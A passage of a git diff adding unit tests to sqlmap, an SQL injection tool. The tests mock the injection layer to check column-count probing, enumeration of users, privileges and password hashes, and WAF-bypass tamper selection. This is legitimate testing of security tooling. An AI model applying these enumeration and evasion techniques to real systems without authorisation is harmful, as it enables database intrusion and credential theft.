kb.injection.place = None + kb.injection.parameter = None + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._sc.items(): + conf[k] = v + for k, v in self._sk.items(): + kb[k] = v + conf.parameters, conf.paramDict = self._sp + kb.pageTemplate = self._stmpl + kb.injection.place, kb.injection.parameter = self._sinj + Connect.queryPage = self._sqp + ut.Request.queryPage = self._sqp + + def _detect(self, true_count): + def oracle(payload=None, place=None, content=False, raise404=True, **kwargs): + m = re.search(r"ORDER BY (\d+)", payload or "") + cols = int(m.group(1)) if m else 1 + if cols <= true_count: + page = VALID_PAGE + else: + page = "Unknown column '%d' in 'order clause'" % cols + return (page, {}, 200) if content else True + + Connect.queryPage = staticmethod(oracle) + ut.Request.queryPage = staticmethod(oracle) + kb.orderByColumns = None + return ut._findUnionCharCount("-- -", PLACE.GET, "id", "1", "", "", PAYLOAD.WHERE.ORIGINAL) + + def test_detect_single_column(self): + self.assertEqual(self._detect(1), 1) + + def test_detect_small(self): + self.assertEqual(self._detect(3), 3) + + def test_detect_medium(self): + self.assertEqual(self._detect(7), 7) + + def test_detect_larger(self): + self.assertEqual(self._detect(12), 12) + + def test_detect_beyond_first_step(self): + # > ORDER_BY_STEP (10): forces the expand-then-bisect branch + self.assertEqual(self._detect(25), 25) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_urls.py b/tests/test_urls.py new file mode 100644 index 00000000000..3d67d17a55a --- /dev/null +++ b/tests/test_urls.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +URL encode/decode round-trips, parameter parsing, same-host checks. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import urldecode, urlencode, paramToDict, checkSameHost +from lib.core.enums import PLACE + +RND = random.Random(11) + + +class TestUrlCoding(unittest.TestCase): + def test_known(self): + self.assertEqual(urldecode("a%20b"), u"a b") + self.assertEqual(urlencode("a b&c"), "a%20b&c") + + def test_encode_is_not_identity(self): + # anchor so the round-trip property below can't pass with no-op functions: + # special chars MUST be percent-encoded + encoded = urlencode("a b&c=d", safe="") + self.assertNotIn(" ", encoded) + self.assertNotIn("&", encoded) + self.assertEqual(encoded, "a%20b%26c%3Dd") + + def test_roundtrip_property(self): + import string + # NOTE: urldecode() by default preserves URL-structural chars (?, &, =, +, ;) so a full + # round-trip needs convall=True; '+' still excluded (form-encoding maps it to space). + alphabet = string.ascii_letters + string.digits + " &=?/#@:,'\"" + for _ in range(2000): + s = "".join(RND.choice(alphabet) for _ in range(RND.randint(0, 25))) + roundtripped = urldecode(urlencode(s, safe=""), convall=True) + self.assertEqual(roundtripped, s, msg="roundtrip %r" % s) + + +class TestParamToDict(unittest.TestCase): + def test_get(self): + d = paramToDict(PLACE.GET, "a=1&b=2&c=3") + self.assertEqual(d.get("a"), "1") + self.assertEqual(d.get("b"), "2") + self.assertEqual(d.get("c"), "3") + + def test_get_single(self): + d = paramToDict(PLACE.GET, "id=42") + self.assertEqual(d.get("id"), "42") + + +class TestSameHost(unittest.TestCase): + def test_same(self): + self.assertTrue(checkSameHost("http://h/a", "http://h/b")) + self.assertTrue(checkSameHost("http://h:80/a", "http://h:80/b")) + + def test_www_prefix_is_same(self): + # documented behavior: a leading www. is normalized away + self.assertTrue(checkSameHost("http://example.com/a", "http://www.example.com/b")) + + def test_different_host_is_false(self): + # discriminating: an always-True implementation must fail here + self.assertFalse(checkSameHost("http://h/a", "http://other/b")) + self.assertFalse(checkSameHost("http://example.com/a", "http://evil.com/b")) + + def test_one_none_is_false(self): + self.assertFalse(checkSameHost("http://h/a", None)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_users_enum.py b/tests/test_users_enum.py new file mode 100644 index 00000000000..f20c143280a --- /dev/null +++ b/tests/test_users_enum.py @@ -0,0 +1,482 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the enumeration methods of plugins/generic/users.py. + +The injection layer (lib.request.inject.getValue) is mocked so the methods can +be exercised against canned result rows without a live target, network, or DBMS. +Each test sets conf.direct = True to drive the inband (union/error/query OR +conf.direct) branch of the method under test, patches inject.getValue with rows +matching the shape the method parses, then asserts the relevant kb.data.cached* +container was populated. Inference (blind) branches set conf.direct = False with a +BOOLEAN technique present and follow the count-then-per-index contract. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms + +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD +import plugins.generic.users as umod +from plugins.generic.users import Users +from lib.core.settings import CURRENT_USER + + +def _inference_gv(count, sequence): + """Build an inject.getValue stub for blind inference branches. + + Returns `count` (as str) whenever the caller asks for EXPECTED.INT, otherwise + yields the next item from `sequence` wrapped as a single-cell row ([value]), + cycling if exhausted. This mirrors the count-then-per-row contract of every + isInferenceAvailable() branch. + """ + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(count) + val = sequence[state["i"] % len(sequence)] + state["i"] += 1 + return [val] + + return gv + + +class TestUsersEnum(unittest.TestCase): + def setUp(self): + # Snapshot the global state these tests mutate so tearDown can restore it + # exactly (other test files share conf / kb / the inject module). + self._direct = conf.direct + self._user = conf.user + self._gv = umod.inject.getValue + self._cbe = umod.inject.checkBooleanExpression + self._store = umod.storeHashesToFile + self._attack = umod.attackCachedUsersPasswords + self._readInput = umod.readInput + self._his = kb.data.get("has_information_schema") + + set_dbms("MySQL") + conf.direct = True + conf.user = None + kb.data.has_information_schema = True + + # Neutralize the side effects getPasswordHashes triggers once it has + # populated the cache (file write + interactive dictionary attack prompt). + umod.storeHashesToFile = lambda *a, **k: None + umod.attackCachedUsersPasswords = lambda *a, **k: None + umod.readInput = lambda *a, **k: "N" + + def tearDown(self): + conf.direct = self._direct + conf.user = self._user + umod.inject.getValue = self._gv + umod.inject.checkBooleanExpression = self._cbe + umod.storeHashesToFile = self._store + umod.attackCachedUsersPasswords = self._attack + umod.readInput = self._readInput + if self._his is None: + kb.data.pop("has_information_schema", None) + else: + kb.data.has_information_schema = self._his + + # --- getUsers ----------------------------------------------------------- + + def test_get_users_mysql(self): + umod.inject.getValue = lambda query, *a, **k: [["root"], ["guest"]] + kb.data.cachedUsers = [] + res = Users().getUsers() + self.assertIn("root", res) + self.assertIn("guest", res) + self.assertIn("root", kb.data.cachedUsers) + + def test_get_users_postgresql(self): + set_dbms("PostgreSQL") + umod.inject.getValue = lambda query, *a, **k: [["postgres"], ["app"]] + kb.data.cachedUsers = [] + res = Users().getUsers() + self.assertEqual(sorted(res), ["app", "postgres"]) + + def test_get_users_mssql(self): + set_dbms("Microsoft SQL Server") + umod.inject.getValue = lambda query, *a, **k: [["sa"], ["dbo"]] + kb.data.cachedUsers = [] + res = Users().getUsers() + self.assertIn("sa", res) + + def test_get_users_oracle(self): + set_dbms("Oracle") + umod.inject.getValue = lambda query, *a, **k: [["SYS"], ["SYSTEM"]] + kb.data.cachedUsers = [] + res = Users().getUsers() + self.assertIn("SYS", res) + + def test_get_users_none_leaves_cache_empty(self): + # isNoneValue([]) -> cache stays empty; inband branch skips appends. + # Strengthen: prove getUsers actually QUERIED (no stale-cache short-circuit + # returning the constant []) by spying on getValue, then in the same test + # re-run with a non-empty result to prove the cache repopulates from the + # newly fetched rows. + calls = {"n": 0} + + def gv_empty(query, *a, **k): + calls["n"] += 1 + return [] + + umod.inject.getValue = gv_empty + users = Users() + kb.data.cachedUsers = [] + res = users.getUsers() + self.assertEqual(res, []) + # The inband branch must have issued at least one query, not short-circuited. + self.assertGreaterEqual(calls["n"], 1) + + # Paired non-empty case: same instance, fresh cache, real rows -> cache + # must repopulate with exactly those users. + umod.inject.getValue = lambda query, *a, **k: [["root"], ["guest"]] + kb.data.cachedUsers = [] + res2 = users.getUsers() + self.assertEqual(sorted(res2), ["guest", "root"]) + self.assertIn("root", kb.data.cachedUsers) + + # --- getCurrentUser ----------------------------------------------------- + + def test_get_current_user(self): + umod.inject.getValue = lambda query, *a, **k: "root@localhost" + users = Users() + kb.data.currentUser = "" + self.assertEqual(users.getCurrentUser(), "root@localhost") + self.assertEqual(kb.data.currentUser, "root@localhost") + + # --- isDba -------------------------------------------------------------- + + def test_is_dba_mysql(self): + umod.inject.getValue = lambda query, *a, **k: "root@localhost" + umod.inject.checkBooleanExpression = lambda query, *a, **k: True + users = Users() + kb.data.currentUser = "" + kb.data.isDba = None + self.assertTrue(users.isDba()) + + def test_is_dba_postgresql_false(self): + set_dbms("PostgreSQL") + umod.inject.checkBooleanExpression = lambda query, *a, **k: False + users = Users() + kb.data.isDba = None + self.assertFalse(users.isDba()) + + # --- getPasswordHashes -------------------------------------------------- + + def test_get_password_hashes_mysql(self): + # filterPairValues keeps length-2 rows -> {user: [hash]} + umod.inject.getValue = lambda query, *a, **k: [["root", "*ABC123"], ["guest", "*DEF456"]] + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertIn("root", res) + self.assertIn("guest", res) + self.assertEqual(res["root"], ["*ABC123"]) + + def test_get_password_hashes_with_conf_user(self): + conf.user = "root@localhost" + umod.inject.getValue = lambda query, *a, **k: [["root", "*HASH"]] + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertIn("root", res) + + def test_get_password_hashes_oracle(self): + set_dbms("Oracle") + conf.user = "system" + umod.inject.getValue = lambda query, *a, **k: [["SYSTEM", "ABCDEF1234567890"]] + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertIn("SYSTEM", res) + # conf.user upper-cased for Oracle + self.assertEqual(conf.user, "SYSTEM") + + def test_get_password_hashes_current_user(self): + conf.user = CURRENT_USER + # First getValue resolves current user, subsequent ones return the rows. + def gv(query, *a, **k): + if "CURRENT_USER" in query.upper() or "current_user" in query: + return "root@localhost" + return [["root", "*HASH"]] + umod.inject.getValue = gv + users = Users() + kb.data.currentUser = "" + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertIn("root", res) + + # --- getPrivileges ------------------------------------------------------ + + def test_get_privileges_mysql(self): + # MySQL with information_schema: privilege column added verbatim. + umod.inject.getValue = lambda query, *a, **k: [["root", "SUPER"], ["guest", "SELECT"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("root", privileges) + self.assertIn("SUPER", privileges["root"]) + self.assertIn("root", areAdmins) + self.assertNotIn("guest", areAdmins) + + def test_get_privileges_postgresql(self): + set_dbms("PostgreSQL") + from lib.core.dicts import PGSQL_PRIVS + # PGSQL: digit columns map to PGSQL_PRIVS by column index; col 1 == True. + idx = sorted(PGSQL_PRIVS.keys())[0] + row = ["pguser"] + ["0"] * (max(PGSQL_PRIVS.keys())) + row[idx] = "1" + umod.inject.getValue = lambda query, *a, **k: [row] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("pguser", privileges) + self.assertIn(PGSQL_PRIVS[idx], privileges["pguser"]) + + def test_get_privileges_oracle(self): + set_dbms("Oracle") + umod.inject.getValue = lambda query, *a, **k: [["SYS", "DBA"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("SYS", privileges) + self.assertIn("DBA", privileges["SYS"]) + self.assertIn("SYS", areAdmins) + + def test_get_privileges_with_conf_user(self): + conf.user = "root" + umod.inject.getValue = lambda query, *a, **k: [["root", "SELECT"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("root", privileges) + + # --- getRoles (delegates to getPrivileges) ------------------------------ + + def test_get_roles(self): + umod.inject.getValue = lambda query, *a, **k: [["root", "SUPER"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getRoles() + self.assertIn("root", privileges) + self.assertIn("root", areAdmins) + + +# --------------------------------------------------------------------------- # +# Privilege parsing / inference branches (relocated from test_generic_enum_more.py) +# --------------------------------------------------------------------------- # + +class _UsersBase(unittest.TestCase): + def setUp(self): + self._direct = conf.direct + self._technique = conf.technique + self._user = conf.user + self._gv = umod.inject.getValue + self._cbe = umod.inject.checkBooleanExpression + self._store = umod.storeHashesToFile + self._attack = umod.attackCachedUsersPasswords + self._readInput = umod.readInput + self._his = kb.data.get("has_information_schema") + self._injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = True + conf.user = None + kb.data.has_information_schema = True + + umod.storeHashesToFile = lambda *a, **k: None + umod.attackCachedUsersPasswords = lambda *a, **k: None + umod.readInput = lambda *a, **k: "N" + + def tearDown(self): + conf.direct = self._direct + conf.technique = self._technique + conf.user = self._user + umod.inject.getValue = self._gv + umod.inject.checkBooleanExpression = self._cbe + umod.storeHashesToFile = self._store + umod.attackCachedUsersPasswords = self._attack + umod.readInput = self._readInput + kb.injection.data = self._injection_data + if self._his is None: + kb.data.pop("has_information_schema", None) + else: + kb.data.has_information_schema = self._his + + def _inference(self): + conf.direct = False + conf.technique = None + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestUsersPrivilegesInband(_UsersBase): + def test_privileges_pgsql_multiple_digit_columns(self): + # PostgreSQL: privilege columns are digit flags; a column index maps to + # PGSQL_PRIVS only when its value is "1". Set createdb(1)=1 and super(2)=1, + # leave the rest 0; assert exactly those two privileges are parsed and that + # "super" makes the user an admin. + set_dbms("PostgreSQL") + from lib.core.dicts import PGSQL_PRIVS + ncols = max(PGSQL_PRIVS.keys()) + row = ["pguser"] + ["0"] * ncols + row[1] = "1" # createdb + row[2] = "1" # super + umod.inject.getValue = lambda query, *a, **k: [row] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertEqual(set(privileges["pguser"]), {PGSQL_PRIVS[1], PGSQL_PRIVS[2]}) + self.assertIn("pguser", areAdmins) + + def test_privileges_mysql_lt5_yn_flags(self): + # MySQL < 5 (no information_schema): privilege columns are 'Y'/'N' flags + # mapped to MYSQL_PRIVS by column position. Y in col 1 -> select_priv. + set_dbms("MySQL") + from lib.core.dicts import MYSQL_PRIVS + kb.data.has_information_schema = False + ncols = max(MYSQL_PRIVS.keys()) + row = ["root"] + ["N"] * ncols + row[1] = "Y" # select_priv + row[3] = "Y" # update_priv + umod.inject.getValue = lambda query, *a, **k: [row] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn(MYSQL_PRIVS[1], privileges["root"]) + self.assertIn(MYSQL_PRIVS[3], privileges["root"]) + self.assertNotIn(MYSQL_PRIVS[2], privileges["root"]) + + def test_privileges_firebird_letter_codes(self): + # Firebird: each privilege is a single letter mapped via FIREBIRD_PRIVS. + set_dbms("Firebird") + from lib.core.dicts import FIREBIRD_PRIVS + umod.inject.getValue = lambda query, *a, **k: [["fbuser", "S"], ["fbuser", "I"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertEqual(set(privileges["fbuser"]), + {FIREBIRD_PRIVS["S"], FIREBIRD_PRIVS["I"]}) + + def test_privileges_db2_grant_codes(self): + # DB2: privilege string is ","; each 'Y'/'G' letter at + # position i appends the DB2_PRIVS[i] name to the privilege. + set_dbms("DB2") + from lib.core.dicts import DB2_PRIVS + conf.user = "db2admin" + # "DBADM" plus a grant string whose first letter (position 1) is 'Y' -> + # DB2_PRIVS[1] ("CONTROLAUTH") is appended. + umod.inject.getValue = lambda query, *a, **k: [["DB2ADMIN", "DBADM,Y"]] + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + joined = " ".join(privileges["DB2ADMIN"]) + self.assertIn("DBADM", joined) + self.assertIn(DB2_PRIVS[1], joined) + + +class TestUsersPrivilegesInference(_UsersBase): + def test_privileges_inference_mysql(self): + # Blind privilege enumeration for a named user: count, then one privilege + # string per index. MySQL >= 5 adds each verbatim. + set_dbms("MySQL") + self._inference() + conf.user = "root" + privs = ["SELECT", "SUPER"] + umod.inject.getValue = _inference_gv(2, privs) + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + # the user key is wildcard-wrapped for the MySQL information_schema LIKE + key = [k for k in privileges if "root" in k][0] + self.assertEqual(set(privileges[key]), {"SELECT", "SUPER"}) + self.assertTrue(areAdmins) # SUPER => admin + + def test_privileges_inference_oracle(self): + set_dbms("Oracle") + self._inference() + conf.user = "system" + umod.inject.getValue = _inference_gv(1, ["DBA"]) + users = Users() + kb.data.cachedUsersPrivileges = {} + privileges, areAdmins = users.getPrivileges() + self.assertIn("SYSTEM", privileges) + self.assertEqual(privileges["SYSTEM"], ["DBA"]) + self.assertIn("SYSTEM", areAdmins) + + +class TestUsersPasswordHashesInference(_UsersBase): + def test_password_hashes_inference_grouping(self): + # Blind password-hash enumeration for two users: per-user count, then one + # hash per index. Assert each user maps to its own hash list. + set_dbms("MySQL") + self._inference() + conf.user = "root,guest" + + # per-user single hash; count is 1 for every user + hashes = {"root": "*ROOTHASH", "guest": "*GUESTHASH"} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return "1" + for u, h in hashes.items(): + if u in query: + return [h] + return [None] + + umod.inject.getValue = gv + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertEqual(res["root"], ["*ROOTHASH"]) + self.assertEqual(res["guest"], ["*GUESTHASH"]) + + def test_password_hashes_inference_dedup(self): + # The same hash returned twice for a user must be de-duplicated at the end + # (kb.data.cachedUsersPasswords[user] = list(set(...))). + set_dbms("MySQL") + self._inference() + conf.user = "root" + umod.inject.getValue = _inference_gv(2, ["*DUP", "*DUP"]) + users = Users() + kb.data.cachedUsersPasswords = {} + res = users.getPasswordHashes() + self.assertEqual(res["root"], ["*DUP"]) + + +class TestUsersGetUsersInference(_UsersBase): + def test_get_users_inference(self): + set_dbms("MySQL") + self._inference() + umod.inject.getValue = _inference_gv(2, ["root@localhost", "guest@%"]) + users = Users() + kb.data.cachedUsers = [] + res = users.getUsers() + self.assertEqual(sorted(res), ["guest@%", "root@localhost"]) + + def test_is_dba_mssql(self): + # MSSQL isDba goes through the generic checkBooleanExpression branch. + set_dbms("Microsoft SQL Server") + umod.inject.checkBooleanExpression = lambda query, *a, **k: True + users = Users() + kb.data.isDba = None + self.assertTrue(users.isDba()) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_utils.py b/tests/test_utils.py new file mode 100644 index 00000000000..b710169bcdc --- /dev/null +++ b/tests/test_utils.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Core utility helpers: constant-time compare, numeric checks, safe formatting, +list/value normalization, randomness generators. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import (safeCompareStrings, isDigit, isNumber, safeStringFormat, + filterNone, flattenValue, isListLike, unArrayizeValue, + arrayizeValue, randomStr, randomInt) + + +class TestSafeCompareStrings(unittest.TestCase): + def test_known(self): + self.assertTrue(safeCompareStrings("abc", "abc")) + self.assertFalse(safeCompareStrings("abc", "abd")) + self.assertFalse(safeCompareStrings("test", None)) + self.assertTrue(safeCompareStrings(None, None)) + self.assertFalse(safeCompareStrings("a", "ab")) # different length + + def test_property(self): + for s in ["", "a", "secret", "p@ss w0rd", "x" * 100]: + self.assertTrue(safeCompareStrings(s, s)) + self.assertFalse(safeCompareStrings(s, s + "x")) + + +class TestNumericChecks(unittest.TestCase): + def test_isDigit(self): + for v, exp in [("123", True), ("0", True), ("12a", False), ("", False), ("-1", False)]: + self.assertEqual(bool(isDigit(v)), exp, msg="isDigit(%r)" % v) + + def test_isNumber(self): + for v, exp in [("123", True), ("1.5", True), ("1e3", True), ("abc", False), ("", False)]: + self.assertEqual(bool(isNumber(v)), exp, msg="isNumber(%r)" % v) + + +class TestSafeStringFormat(unittest.TestCase): + def test_basic(self): + self.assertEqual(safeStringFormat("%s-%d", ("a", 5)), "a-5") + self.assertEqual(safeStringFormat("%s/%s", ("x", "y")), "x/y") + + def test_survives_percent_in_value(self): + # the WHOLE point of safeStringFormat over plain `%`: a '%' inside an argument (common in + # payloads/URL-encoded values) must not blow up or be misread as a format spec. + # Plain "x=%s" % ("100%done",) would raise on re-evaluation; safeStringFormat must not. + self.assertEqual(safeStringFormat("x=%s", ("100%done",)), "x=100%done") + + +class TestListValueHelpers(unittest.TestCase): + def test_filterNone(self): + self.assertEqual(filterNone([1, None, 2, 0, "", None]), [1, 2, 0]) + self.assertEqual(filterNone([]), []) + self.assertEqual(filterNone([None, None]), []) + + def test_flattenValue(self): + self.assertEqual(list(flattenValue([[1, 2], [3, [4]]])), [1, 2, 3, 4]) + self.assertEqual(list(flattenValue([])), []) + self.assertEqual(list(flattenValue([1])), [1]) + + def test_isListLike(self): + from lib.core.datatype import OrderedSet + from lib.core.bigarray import BigArray + # isListLike is sqlmap-specific: it must recognize sqlmap's own list-like containers + # (OrderedSet, BigArray), not just builtin list/tuple - that's why it's not isinstance(list) + self.assertTrue(isListLike([1])) + self.assertTrue(isListLike((1,))) + self.assertTrue(isListLike(OrderedSet([1, 2]))) + self.assertTrue(isListLike(BigArray([1]))) + # and must reject str (the classic trap) and dict + self.assertFalse(isListLike("string")) + self.assertFalse(isListLike({"a": 1})) + + def test_arrayize_roundtrip(self): + self.assertEqual(unArrayizeValue([5]), 5) + self.assertIsNone(unArrayizeValue([])) + self.assertEqual(unArrayizeValue(7), 7) + self.assertEqual(arrayizeValue(5), [5]) + self.assertEqual(arrayizeValue([5]), [5]) + + +class TestRandomGenerators(unittest.TestCase): + def test_randomStr_length_and_alphabet(self): + for n in (1, 4, 16, 50): + self.assertEqual(len(randomStr(n)), n) + for _ in range(200): + self.assertTrue(all("a" <= c <= "z" for c in randomStr(20, lowercase=True))) + alpha = list("ABC") + for _ in range(200): + self.assertTrue(all(c in alpha for c in randomStr(20, alphabet=alpha))) + + def test_randomStr_is_actually_random(self): + # guard against a hardcoded/constant return: 20-char strings must (essentially) never collide + samples = set(randomStr(20) for _ in range(100)) + self.assertEqual(len(samples), 100, msg="randomStr produced collisions - not random?") + + def test_randomInt_digits(self): + for n in (1, 3, 6): + lo, hi = 10 ** (n - 1), 10 ** n + for _ in range(200): + v = randomInt(n) + self.assertEqual(len(str(v)), n) # exactly n digits + self.assertTrue(lo <= v < hi, msg="randomInt(%d)=%d out of [%d,%d)" % (n, v, lo, hi)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_wafbypass.py b/tests/test_wafbypass.py new file mode 100644 index 00000000000..9e69ef25ada --- /dev/null +++ b/tests/test_wafbypass.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +T1 - automatic WAF-bypass tamper selection (lib/utils/wafbypass.py). These cover the pure, +offline pieces: the identYwaf blind-signature decoder (which provocation vectors a known WAF +blocks), the data-ranked / DBMS-filtered / identYwaf-pruned candidate ordering, and the runtime +tamper loader. The end-to-end "adopt a tamper that restores detection" behaviour is exercised by +the --auto-tamper vuln-test case (lib/core/testing.py) against the vulnserver WAF emulator. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.wafbypass import candidateTampers, identYwafBlockedVectors, loadTamper + + +class TestIdentYwafDecoder(unittest.TestCase): + def test_known_waf_decodes_to_blocked_vectors(self): + # cloudflare has bundled blind signatures -> a non-trivial set of blocked vector indices, + # all within range of the 45 provocation vectors + blocked = identYwafBlockedVectors("cloudflare") + self.assertTrue(len(blocked) > 5) + self.assertTrue(all(isinstance(_, int) and 0 <= _ < 45 for _ in blocked)) + + def test_unknown_waf_is_empty(self): + self.assertEqual(identYwafBlockedVectors("definitely-not-a-real-waf"), set()) + self.assertEqual(identYwafBlockedVectors(None), set()) + + +class TestCandidateRanking(unittest.TestCase): + def test_structural_first(self): + cands = candidateTampers() + # the empirically strongest structural substitutions lead, ahead of camouflage + self.assertEqual(cands[0], "equaltolike") + self.assertIn("between", cands[:3]) + self.assertLess(cands.index("between"), cands.index("space2comment")) + + def test_no_dbms_prefiltering(self): + # DBMS compatibility is verified at runtime (detection re-run through the tamper), not here, + # so the full candidate set is offered regardless of any guessed back-end DBMS + cands = candidateTampers() + self.assertIn("versionedkeywords", cands) + self.assertIn("space2hash", cands) + self.assertIn("between", cands) + + def test_identYwaf_prior_prunes_camouflage(self): + # a WAF whose profile blocks comment-obfuscated vectors should have comment-insertion + # camouflage pruned (it cannot help there), while structural candidates survive + base = candidateTampers() + pruned = candidateTampers(identifiedWafs=["cloudflare"]) + self.assertIn("equaltolike", pruned) + self.assertNotIn("space2comment", pruned) + self.assertLessEqual(len(pruned), len(base)) + + +class TestLoadTamper(unittest.TestCase): + def test_loads_and_applies(self): + fn = loadTamper("between") + self.assertTrue(callable(fn)) + self.assertEqual(fn.__name__, "between") + # the loaded function is the real tamper transform + self.assertEqual(fn(payload="1 AND A>B"), "1 AND A NOT BETWEEN 0 AND B") + + def test_missing_returns_none_or_raises(self): + # a non-existent script must not silently yield a bogus callable + try: + self.assertIsNone(loadTamper("no_such_tamper_script_xyz")) + except Exception: + pass # an import error is also acceptable; what matters is no fake function + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_websocket.py b/tests/test_websocket.py new file mode 100644 index 00000000000..6091229a621 --- /dev/null +++ b/tests/test_websocket.py @@ -0,0 +1,138 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the PURE (network-free) parts of the native WebSocket client in +lib/request/websocket.py: the RFC 6455 accept-key computation, client frame masking, +the length-encoding boundaries (7/16/64-bit), fragment reassembly and control-frame +handling. No socket is opened - frames are fed through a primed buffer and a fake sink. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import base64 +import hashlib +import os +import struct +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.websocket import ( + WebSocket, + WebSocketConnectionClosedException, + WebSocketTimeoutException, + _GUID, + OPCODE_TEXT, + OPCODE_CONTINUATION, + OPCODE_PING, + OPCODE_CLOSE, +) + + +class _FakeSock(object): + """Captures everything the client sends, so masked client frames / PONGs can be inspected.""" + def __init__(self): + self.sent = b"" + + def sendall(self, data): + self.sent += data + + def close(self): + pass + + +def _serverFrame(data, opcode=OPCODE_TEXT, fin=1): + """Build an (unmasked, server->client) frame carrying data.""" + if not isinstance(data, bytes): + data = data.encode("utf-8") + frame = bytearray([(fin << 7) | opcode]) + length = len(data) + if length < 126: + frame.append(length) + elif length < 65536: + frame.append(126); frame += struct.pack("!H", length) + else: + frame.append(127); frame += struct.pack("!Q", length) + frame += data + return bytes(frame) + + +def _client(buffer=b""): + ws = WebSocket.__new__(WebSocket) # bypass connect(): no socket + ws.sock = _FakeSock() + ws.status = 101 + ws._headers = {} + ws._timeout = None + ws._buffer = buffer + ws._closed = False + return ws + + +class TestWebSocket(unittest.TestCase): + def test_accept_key_rfc6455_vector(self): + # RFC 6455 section 1.3 canonical example + key = "dGhlIHNhbXBsZSBub25jZQ==" + accept = base64.b64encode(hashlib.sha1((key + _GUID).encode("ascii")).digest()).decode("ascii") + self.assertEqual(accept, "s3pPLMBiTxaQ9kYGzzhZRbK+xOo=") + + def test_client_frame_is_masked_and_roundtrips(self): + ws = _client() + ws._sendFrame(b"hello", OPCODE_TEXT) + raw = ws.sock.sent + self.assertEqual(bytearray(raw)[0], 0x80 | OPCODE_TEXT) # FIN + text + self.assertTrue(bytearray(raw)[1] & 0x80, "client frame must set the mask bit") + + # feeding the client's own (masked) frame back through the parser must recover the payload + fin, opcode, payload = _client(raw)._recvFrame() + self.assertEqual((fin, opcode, bytes(payload)), (1, OPCODE_TEXT, b"hello")) + + def test_length_encoding_boundaries(self): + for size in (125, 126, 65535, 65536): + ws = _client() + ws._sendFrame(b"A" * size, OPCODE_TEXT) + fin, opcode, payload = _client(ws.sock.sent)._recvFrame() + self.assertEqual(len(payload), size, msg="round-trip failed at length %d" % size) + + def test_recv_reassembles_fragments(self): + buf = _serverFrame("ab", OPCODE_TEXT, fin=0) + _serverFrame("cd", OPCODE_CONTINUATION, fin=1) + self.assertEqual(_client(buf).recv(), "abcd") + + def test_recv_answers_ping_then_returns_data(self): + ws = _client(_serverFrame("hi", OPCODE_PING) + _serverFrame("data", OPCODE_TEXT)) + self.assertEqual(ws.recv(), "data") + # a PONG (opcode 0xA) carrying the ping payload must have been sent back + pong = bytearray(ws.sock.sent) + self.assertEqual(pong[0], 0x80 | 0xA) + + def test_recv_close_raises(self): + ws = _client(_serverFrame(struct.pack("!H", 1000), OPCODE_CLOSE)) + self.assertRaises(WebSocketConnectionClosedException, ws.recv) + + def test_read_timeout_maps_to_ws_timeout(self): + import socket as _socket + import ssl as _ssl + + class 